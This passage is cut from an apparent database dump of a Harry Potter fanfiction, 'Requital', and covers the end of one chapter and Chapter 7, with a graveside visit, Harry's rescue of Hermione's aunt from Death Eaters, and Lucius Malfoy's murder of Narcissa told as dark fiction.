anyway?&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho snorted, shaking her head and tossing some \n  clothes at Hermione.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s already 1:30 in the afternoon, and we only \n  have another day and a half until we have to meet with Arthur.&nbsp; I suggest you \n  and I try to figure out what happened to us last night.&nbsp; Especially why is it \n  we don&#8217;t remember how we got back to the bar.&#8221;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She paused for a moment, grabbing some of Hermione&#8217;s \n  perfume and spraying a little on her neck.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220; I assumed it was a memory charm of some sort \n  but there aren&#8217;t any side affects like there would normally be.&nbsp; Not even a \n  headache,&#8221; Cho said, looking puzzled.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione pulled her t-shirt over her head.&nbsp; <i>How \n  was that Cho could stay up all night and still look like a bloody Barbie Doll.</i></p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m still tired,&#8221; Hermione complained.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho gave her a serious look, sitting on the bed \n  next to her.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;ll get used to it.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; They were quiet as Hermione continued to dress, \n  catching a quick look in the mirror.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>Christ.&nbsp; No wonder Harry left.</i>&nbsp; She was \n  surprised he hadn&#8217;t run screaming like a banshee.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So what happened with you and Ron?&#8221; Hermione \n  asked, trying to take her mind off of Harry.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho stood and laughed, pursing her lips together.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Absolutely nothing, although it wasn&#8217;t from \n  his lack of trying,&#8221; she confessed.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The thought of Ron trying to snuggle up to Cho \n  almost made Hermione laugh.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione tried to organize her thoughts.&nbsp; She&#8217;d \n  go to the ministry today to retrieve some old research items, but she wanted \n  to make a quick stop somewhere else first.&nbsp; It probably wasn&#8217;t smart, but it \n  felt necessary.&nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Feel like tagging along somewhere with me?&#8221; \n  Hermione asked.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho questioned her with a look.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Please?&nbsp; I don&#8217;t think I&#8217;m up to going alone,&#8221; \n  she said, hoping for a positive response.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho sighed and shrugged her shoulders.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I suppose, so long as we accomplish what we \n  need to today.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I swear it.&#8221;&nbsp; Hermione said.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And so,&#8221; Draco began, offering a seat at the \n  table for Harry, &#8220;here we are again.&nbsp; I hope that you being late wont become \n  a habit Potter.&nbsp; It would benefit you to make these things as convenient for \n  me as possible.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; A tiny disdainful smile dimpled the corners of \n  Draco&#8217;s mouth.&nbsp; Harry thought to himself that it was this sort of smirk that \n  had caused him to break Draco&#8217;s nose in their fifth year.</p>\n<p style="line-height:150%">&nbsp;&nbsp; &#8220;Sorry.&nbsp; It&#8217;s often hard for me to convince the \n  rest of the world that it should always revolve around your schedule Malfoy,&#8221; \n  Harry answered, sitting down across from him.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Draco&#8217;s smile deepened.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, let&#8217;s get on with it,&#8221; Harry said, not \n  wanting to drag this on any longer then necessary.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Draco looked around the small Sushi bar.&nbsp; It \n  was crowded enough to block them from being seen from the outside.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;My father came home rattled this morning.&nbsp; All \n  I overhead him telling my mother was that Gregory Goyle was dead.&nbsp; Not that \n  I cared about that bastard.&nbsp; He couldn&#8217;t even be bothered to come to his own \n  son&#8217;s funeral.&nbsp; That man&#8217;s picture should be under the word asshole in the dictionary,&#8221; \n  Draco said.</p>\n<p style="line-height:150%"><i>&nbsp;&nbsp;&nbsp;&nbsp; Exactly what he thinks of you</i>, Harry thought.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But I&#8217;m sure you&#8217;re not worried about that,&#8221; \n  he continued in a soothing voice Harry found slightly repulsive.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not at all.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Draco face twisted, but it wasn&#8217;t hurt or sorrow, \n  it was more confusion than anything.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;My father is never rattled.&nbsp; I&#8217;ve seen him take \n  down creatures as large as this building without so much as a quiver.&nbsp; He screamed \n  at my mother about some book, and then he mentioned the Mudblood&#8217;s parents.&nbsp; \n  Seems that Goyle ordered the attack on them.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione&#8217;s parents?&nbsp; Why?&#8221; Harry said, his stomach \n  getting that sinking feeling again.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Draco leaned back in his chair and his eyes narrowed \n  slightly.&nbsp; The waitress came and Harry tried to manufacture a smile.&nbsp; It felt \n  false from the inside, but it must have looked all right to her because she \n  smiled back pleasantly and took Draco&#8217;s order.&nbsp; Harry ordered a drink and then \n  turned his eyes back to Draco.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Please continue&#8230;what did Goyle fail to do?&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t know.&nbsp; My guess is it was to retrieve \n  or destroy that bloody book.&nbsp; But apparently it was a failure.&nbsp; Looks like they \n  weren&#8217;t particularly interested in blowing them up.&nbsp; My father said Goyle failed \n  and now it was his responsibility to pick up his pieces.&nbsp; I overheard him ordering \n  his hoods to search another Muggle&#8217;s house.&nbsp; Apparently she&#8217;s some relation \n  to Granger.&nbsp; They think whatever book it is might be there.&nbsp; Her name is Lois \n  Mills.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry was still recoiling from Draco&#8217;s last statement \n  as the waitress brought their order.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They know Hermione&#8217;s alive.&nbsp; I&#8217;m shocked they \n  haven&#8217;t decided to go after her,&#8221; Harry said.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Draco grinned.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t know that they haven&#8217;t.&nbsp; Or perhaps \n  they know she doesn&#8217;t have what they want and she&#8217;s unimportant to them.&nbsp;&nbsp; I \n  don&#8217;t think my father even knows exactly why he needs to get this book.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Every time Draco mentioned his father, Harry \n  cringed.&nbsp; Lucius was untouchable for so long, even after Harry had taken down \n  Voldemort.&nbsp; It was an enormous sacrifice Harry made, allowing Lucius to remain \n  out of Azkaban, in order to keep getting information from Draco.&nbsp; At least Harry \n  had some consolation knowing that Lucius wasn&#8217;t at the top of this chain of \n  command.&nbsp; That remained unknown.&nbsp; If they had the answer to that, his life would \n  be a whole lot easier.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;When will the attack be launched?&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Tonight.&nbsp; I overheard them saying they had to \n  wait because of some conflict.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; <i>Death eaters with busy fucking schedules, \n  penciling in appointments to kill innocents.</i></p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry stood, gulping down his drink and nodding \n  at Draco, who seemed busy devouring his lunch.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll contact you,&#8221; Harry said pulling on his \n  coat.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Draco gave Harry a resentful glance.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I suppose you and Weasley are off to save the \n  innocent.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry waited, looking thoughtfully at Draco.&nbsp; \n  The way Weasley slipped from his mouth, Harry knew what he wanted to ask and \n  spared the pompous git the shame of it.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I suppose we are&#8230;and Ginny is fine.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Draco mustered a grateful look.&nbsp; It clearly took \n  a lot of effort, and not wanting to make the scene more awkward, Harry left \n  him there to finish his meal.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The soft dirt beneath Hermione&#8217;s feet felt a \n  like plush carpet.&nbsp; She thought to herself how inappropriately sunny the weather \n  was today.&nbsp; They had walked only a few steps from where they were parked when \n  they reached her parents grave.&nbsp; Cho was hesitant at first; Hermione could see \n  it in her eyes.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Relax, no one would ever recognize me like this,&#8221; \n  Hermione told her.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho had understood in the end, and so they now \n  stood there, paying their respects to the two headstones at their feet.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Closure.&nbsp; Without a word, Hermione knelt and \n  began pulling away leaves as Cho stood the flowers they had brought between \n  the two gravesites.&nbsp; The last of the leaves cleared, she looked towards Cho \n  who was standing there reverently.&nbsp; Hermione slowly rose back to her feet.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She felt numb.&nbsp; There weren&#8217;t any tears, just \n  a sense of finality.&nbsp; She knew Arthur Weasley would be horrified at her taking \n  a risk like this, but she also knew that he himself would likely not have been \n  able to resist.&nbsp; Besides, she had waited almost three months.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; There was so much she wanted to tell her them.&nbsp; \n  Her mother would hate her hair.&nbsp; She&#8217;d complain that it made her studious daughter \n  look cheap.&nbsp; Her father probably wouldn&#8217;t notice.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; <i>Hey Mom.&nbsp; Hello Dad.&nbsp; I hope God is taking \n  better care of you up there.</i></p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho put a gentle hand on Hermione&#8217;s shoulder \n  and looked at her with her dark eyes, filled with compassion.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We shouldn&#8217;t stay too long.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know,&#8221; Hermione agreed.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; They started to walk back to the car.&nbsp; Hermione \n  had done a lousy job of parking, driving partly up onto the curb.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;At least I have a license to drive a Muggle \n  car,&#8221; Hermione said.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They must give those things out like candy,&#8221; \n  Cho said shaking her head.&nbsp; &#8220;I think apparating is less risky.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione flashed her a look pretending to be \n  offended.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;To the Ministry then,&#8221; Hermione declared, getting \n  behind the wheel.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho opened the passenger side door and slid in \n  next to Hermione.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Pray we make it.&#8221;</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; When Harry repeated what Draco had said to Ron, \n  he fell quiet.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Any word from Neville?&#8221;&nbsp; Harry asked, looking \n  around for a note or an owl.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing yet.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry was concerned, but Neville was smart.&nbsp; \n  He&#8217;d been in stickier situations and lived to tell about it.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Lets go then.&nbsp; We&#8217;ll need to summon help from \n  the Ministry.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After searching through their directory, Harry \n  had found the address of Lois Mills. &nbsp;He was thankful there was only one listed.&nbsp; \n  Her home was in the heart of Muggle London, so that meant they would need to \n  take Muggle transport.&nbsp; They couldn&#8217;t risk being seen apparating.&nbsp; Ron grabbed \n  his wand.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not that I&#8217;m your mom or anything, but you never \n  came home last night Harry Potter,&#8221; Ron said as they walked quickly towards \n  the train station.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He flushed some, feeling the bottom go out of \n  his stomach as he thought of Hermione.&nbsp; They had to, at least at some point, \n  talk about what happened.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think I&#8217;m old enough to be out all night.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<i>But nineteen is still a boy young man,&#8221;</i> \n  Ron joked doing a very respectable imitation of Mrs. Weasley.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He was right.&nbsp; Nineteen was so young.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n'),
	(90, 7, '\n<p style="line-height:150%"><u>Requital</u> by Msscribe</p>\n<p>Rating: R- (edited version).&nbsp; Full NC17 version on www.portkey.org.</p>\n<p>Ships: H/Hr</p>\n<p>Type: Angst\\ Romance\\ Action Adventure</p>\n<p>Summary:&nbsp; A story of Hermione Granger coming to terms with her greatest \n  loss, finding her own voice and strength, and coming of age in a world battered \n  by a never-ending war.</p>\n<p class="MsoBodyText"><b>Disclaimer: No profits are being made off the fiction on these pages. \n  Harry Potter, associated characters and the associated Harry Potter universe \n  is &#169; J. K. Rowling and respective publishers. Fanfiction is fiction&#8212;it&#8217;s not \n  meant to be taken seriously in the least.</b></p>\n<p class="MsoBodyText">A/N: Thanks to everyone who reviewed.&nbsp; I&#8217;m encouraged by \n  the feedback and I promise to update as frequently as possible.&nbsp;&nbsp; </p>\n<p style="line-height:150%"><b><u>Chapter 7</u></b><b> - Bloodlines</b></p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ron and Harry cautiously approached the driveway \n  leading up to the small brick house that had somehow found its way onto the \n  Dark Army hit list.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Checking to be sure there were no prying eyes, \n  they both felt for their wands and climbed Lois Mill&#8217;s freshly swept stairs.&nbsp; \n  Harry pressed the doorbell, and then waited.&nbsp; Ron looked around impatiently.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The wide-eyed, grey-haired resident inside peeked \n  through her floral curtain to find two young men standing at her door.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;re friends of Hermione Granger, Ms. Mills.&nbsp; \n  Could we please come in?&#8221;&nbsp; Harry said.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Lois thought that they looked presentable, but \n  one of them made her nervous with the way his eyes, a stunning shade of green, \n  kept darting around as if expecting someone else.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Please Ms. Mills, it&#8217;s important that we speak \n  with you,&#8221; Ron said, his voice well mannered and calm despite the chills starting \n  to creep up his spine.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry released a pent-up sigh and braced himself \n  to have to break into the house by force.&nbsp; He hated to do that, but they weren&#8217;t \n  sure how much time they had before the arrival of her unwanted guests.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; To his relief, she unlocked the door and motioned \n  for them to come in.&nbsp; She was a plainly dressed woman with unremarkable features, \n  but her home was an eclectic collection of tiny statues and candles.&nbsp; The music \n  playing in the kitchen was big band, a stark contrast to the restful feel of \n  the den in which they were standing.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;My niece and her parents were the only decent \n  living relatives I had.&nbsp; But God&#8217;s cruelty is refining, isn&#8217;t it?&#8221; Lois said, \n  still a bit nervous.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry and Ron moved to the couch, catching a \n  whiff of the cinnamon rolls she had baking in the oven.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ms. Mills&#8230;&#8221; Harry started.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mrs. Mills.&nbsp; I&#8217;m widowed, but I still call myself \n  Mrs.,&#8221; she corrected him, sounding an awful lot like Hermione.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry needed to quicken the pace of this discussion.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We need to get you somewhere safe.&nbsp; We believe \n  you&#8217;re in danger.&nbsp; My name is Harry Potter and this is Ron Weasley,&#8221; he said, \n  hoping that she would hear the urgency in his voice.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Lois Mills knew who they were then.&nbsp; Her niece \n  had spoken of them often, especially the black-haired one.&nbsp; They had attended \n  boarding school with Hermione.&nbsp; Despite the familiarity, she would have sent \n  them away immediately if it hadn&#8217;t been for the intensity in Harry&#8217;s voice.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We think someone is going to try to hurt you, \n  do to you what they did to the Grangers.&nbsp; We&#8217;ll be happy to explain more, but \n  now you need to leave, &#8220; Ron pleaded.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Lois was skeptical.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think any explaining can be done right here.&nbsp; \n  How do I know what your intentions are?&nbsp; I know you were Hermione&#8217;s friends \n  but that doesn&#8217;t mean I am just going to walk away with you!&#8221; Lois argued, slightly \n  irritated.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; On the radio, Harry James began playing <i>From \n  the Bottom of My Heart </i>and a young Frank Sinatra began singing. </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was at that moment that the air suddenly \n  got cold, and wind started to whirl throughout the room.&nbsp; Not just a light breeze, \n  but the sort of wind you would feel standing outside on a city street.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The two young wizards looked around curiously; \n  there was nowhere that a cold wind could have gained admission.&nbsp; The windows \n  were all tightly shut.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Mills raised her hands to her mouth, frightened \n  and confused.&nbsp;&nbsp; Ron backed her against the wall and stood there, waiting for \n  Harry&#8217;s command.&nbsp; Harry&#8217;s hands were rigid and at his side.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; A split-second later, something that could have \n  been an innocent knock, but wasn&#8217;t, rattled Lois Mills&#8217; front door.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Click. Tick. Click.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Run towards the back!&#8221; Harry screamed, hoping \n  that they wouldn&#8217;t be hit with the blast.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; They ran.&nbsp; The noise was incredible.&nbsp; Lois thought \n  at first that she had been immediately deafened, but she could still hear the \n  red-haired man issuing commands to her.&nbsp; She followed, best she could, with \n  the two young men pushing her out of the back door.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She was in shock.&nbsp; The one called Harry pushed \n  her to the ground, and the two took out small wooden sticks, pointing them at \n  the strange figures that now surrounded her backyard.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; <i>They were stepping all over her petunias.</i></p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;STAY DOWN!&#8221; Ron cried out to her.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; There were screams, and strange mutterings that \n  made Lois think of the sort of darkness her minister preached about every Sunday.&nbsp; \n  Her protectors were dodging rays of light from the other figure&#8217;s sticks, and \n  they were firing with their own.&nbsp; Lois covered her ears with her hands, mouthing \n  a prayer.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; But then, an even stranger thing happened.&nbsp; The \n  firing didn&#8217;t stop, but it began to fade<i>, </i>as if someone were turning \n  down the volume on a television.&nbsp; A white light illuminated the sky, giving \n  the yard an eerie glow, and the angry voices died down, leaving almost as quickly \n  as they came.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She lay there, afraid to move for what felt like \n  a good long while.&nbsp; She gained the courage to raise her head and saw that there \n  were more people then, with wooden sticks out, wandering about in her yard.&nbsp;&nbsp; \n  She could hear Harry and Ron converse, but couldn&#8217;t make out what they were \n  saying.&nbsp; <i>Something about a book</i>.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A young red-haired woman ran to assist her, \n  helping Lois to her feet.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Letting out a sigh of relief, the older woman \n  looked up to thank her.</p>\n<p style="line-height:150%"><i>&nbsp;&nbsp;&nbsp;&nbsp; Gasp.</i></p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ron Weasley caught Lois Mills before she could \n  hit the ground.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &#8220;What happened?&nbsp; Is she hit?&#8221; Harry asked.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; Arthur Weasley said softly, glancing over \n  at Hermione, &#8220;I think she just saw a ghost.&#8221;</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Lucius Malfoy was not a happy wizard.&nbsp; When he \n  was inside Lois Mill&#8217;s disgusting little flat he did manage to take possession \n  of the thing for which he was searching, but the relief he felt from having \n  accomplished this task was clouded by the fact that Potter and Weasley had arrived \n  shortly before him and his circle of Death Eaters.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Restlessly circling the master bedroom, Lucius \n  let his thoughts linger on what had gone wrong.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He plucked a piece of Muggle debris from his \n  robe, wincing at having to touch it.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; This sort of work was beneath him, and maintaining \n  composure under these circumstances was not always easy, even when you were \n  a Malfoy.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; <i>&nbsp;</i>Lucius looked down at the small brown \n  book secured in his long thin fingers.&nbsp;&nbsp;&nbsp; It looked like a Muggle child&#8217;s book \n  of fairy tales.&nbsp; <i>Bedtimes Stories </i>was its title, written in a sickening \n  shade of pink.&nbsp; He slipped it inside of his cloak&#8217;s side pocket. &nbsp;He couldn&#8217;t \n  feel anything powerful about it.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He would do what was asked, but in the meantime \n  he needed to know how Potter and Weasley had almost thwarted his plans.&nbsp; Only \n  one other person had known far enough in advance to alert the Ministry.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; <i>Narcissa.</i></p>\n<p style="line-height:150%"><i>&nbsp;&nbsp;&nbsp;&nbsp; </i>Lucius now regretted confiding in his \n  wife.&nbsp; It was one of his weaker moments.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She was in their bathtub now.&nbsp; He would have \n  liked to watch her bathe longer, for Narcissa Malfoy was a bewitching sight; \n  however, Lucius was weary and he smelled like commoners.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He and Narcissa had only ever had one argument \n  that resulted in Lucius having to curse her, when she had betrayed him before. \n  &nbsp;Unpleasant and painful, yes, but he thought it was necessary then.&nbsp; That wouldn&#8217;t \n  be enough now.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Lucius was suddenly filled with a mix of sentimental \n  longing and sullen resentment at having spent his all life providing for her \n  and his son.&nbsp; He thought he&#8217;d be with her forever, but he was highly averse \n  to taking risks.&nbsp; Especially if it meant he would end up like Gregory Goyle.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He entered the bathroom now and she smiled mischievously, \n  expecting him to join her.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; <i>Pity.</i></p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Lucius would have to do this quickly.&nbsp; There \n  was the slim chance that Draco could hear her cry out in despair and the silly \n  boy would probably try to do the honorable thing and protect his mother.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &#8220;Lucius?&#8221; Narcissa said with an innocent look \n  he nearly succumbed to.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He sat on the edge of the tub and let eyes look \n  onto her exquisite face one more time.&nbsp; She relaxed and fell against him.&nbsp; He \n  moved his hands to her shoulders, then down to her perfect breasts.&nbsp; She laid \n  her head back onto his lap, closing her eyes with pleasure.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; <i>So many regrets.</i></p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Lucius reached for the razor beside her and quickly \n  slit Narcissa&#8217;s willowy throat.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He waited, watching the color of the tub grow \n  darker as the blood descended the length of her body and into the water.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He&#8217;d be inconvenienced without her, but he&#8217;d \n  make do.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Neville Longbottom almost thought his cover had \n  been blown when Lucius Malfoy walked into the back room of Club Mistress pulling \n  a small brown book out of his pocket.&nbsp; The shockingly tall man who had headed \n  the charade the night before looked pleased, and escorted Lucius quickly into \n  a small office near the bar.</p>\n<p 